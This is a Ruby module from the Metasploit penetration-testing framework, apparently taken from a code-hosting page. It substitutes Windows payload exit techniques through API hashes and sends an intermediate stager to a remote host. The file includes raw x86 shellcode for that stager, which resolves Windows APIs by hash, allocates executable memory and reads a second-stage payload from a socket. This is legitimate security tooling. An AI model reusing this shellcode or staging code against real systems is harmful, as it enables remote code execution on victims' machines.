135 lines
4.4 KiB
Ruby
135 lines
4.4 KiB
Ruby
# -*- coding: binary -*-
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require 'msf/core'
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###
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#
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# This class is here to implement advanced variable substitution
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# for windows-based payloads, such as EXITFUNC. Windows payloads
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# are expected to include this module if they want advanced
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# variable substitution.
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#
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###
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module Msf::Payload::Windows
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#
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# ROR hash associations for some of the exit technique routines.
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#
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@@exit_types =
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{
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'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter
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'thread' => 0x0A2A1DE0, # ExitThread
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'process' => 0x56A2B5F0, # ExitProcess
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'none' => 0x5DE2C5AA, # GetLastError
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}
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#
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# This mixin is chained within payloads that target the Windows platform.
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# It provides special variable substitution for things like EXITFUNC and
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# automatically adds it as a required option for exploits that use windows
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# payloads.
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#
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def initialize(info = {})
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ret = super( info )
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# All windows payload hint that the stack must be aligned to nop
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# generators and encoders.
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if( info['Arch'] == ARCH_X86_64 )
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if( info['Alias'] )
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info['Alias'] = 'windows/x64/' + info['Alias']
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end
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merge_info( info, 'SaveRegisters' => [ 'rsp' ] )
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elsif( info['Arch'] == ARCH_X86 )
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if( info['Alias'] )
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info['Alias'] = 'windows/' + info['Alias']
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end
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merge_info( info, 'SaveRegisters' => [ 'esp' ] )
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end
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#if (info['Alias'])
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# info['Alias'] = 'windows/' + info['Alias']
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#end
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register_options(
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[
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Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
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], Msf::Payload::Windows )
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ret
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end
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#
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# Replace the EXITFUNC variable like madness
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#
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def replace_var(raw, name, offset, pack)
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if (name == 'EXITFUNC')
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method = datastore[name]
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method = 'thread' if (!method or @@exit_types.include?(method) == false)
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raw[offset, 4] = [ @@exit_types[method] ].pack(pack || 'V')
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return true
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end
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return false
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end
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#
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# For windows, we check to see if the stage that is being sent is larger
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# than a certain size. If it is, we transmit another stager that will
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# ensure that the entire stage is read in.
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#
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def handle_intermediate_stage(conn, payload)
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if( self.module_info['Stager']['RequiresMidstager'] == false )
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conn.put( [ payload.length ].pack('V') )
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# returning false allows stager.rb!handle_connection() to prepend the stage_prefix if needed
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return false
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end
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return false if (payload.length < 512)
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# The mid-stage works by reading in a four byte length in host-byte
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# order (which represents the length of the stage). Following that, it
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# reads in the entire second stage until all bytes are read. It reads the
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# data into a buffer which is allocated with VirtualAlloc to avoid running
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# out of stack space or NX problems.
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# See the source file: /external/source/shellcode/windows/midstager.asm
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midstager =
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"\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b\x12\x8b" +
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"\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32\x0f\x85\xeb\xff" +
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"\xff\xff\x8b\x6a\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c\x0d\x1c" +
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"\x01\xe9\x8b\x71\x3c\x01\xee\x60\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b" +
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"\x5b\x14\x8b\x73\x28\x6a\x18\x59\x31\xff\x31\xc0\xac\x3c\x61\x7c" +
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"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a" +
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"\x8b\x6b\x10\x8b\x1b\x75\xdb\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
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"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0" +
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"\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x81\xfa\x54" +
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"\xca\xaf\x91\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
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"\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x08\x61\x89\xe3\x6a" +
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"\x00\x6a\x04\x53\x57\xff\xd6\x8b\x1b\x6a\x40\x68\x00\x30\x00\x00" +
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"\x53\x6a\x00\xff\xd5\x89\xc5\x55\x6a\x00\x53\x55\x57\xff\xd6\x01" +
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"\xc5\x29\xc3\x85\xdb\x75\xf1\xc3"
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# Prepend the stage prefix as necessary, such as a tag that is needed to
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# find the socket
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midstager = (self.stage_prefix || '') + midstager
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print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
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# Transmit our intermediate stager
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conn.put(midstager)
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# Sleep to give enough time for the remote side to receive and read the
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# midstage so that we don't accidentally read in part of the second
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# stage.
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Rex::ThreadSafe.sleep(1.5)
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# The mid-stage requires that we transmit a four byte length field that
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# it will use as the length of the subsequent stage.
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conn.put([ payload.length ].pack('V'))
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return true
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end
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end
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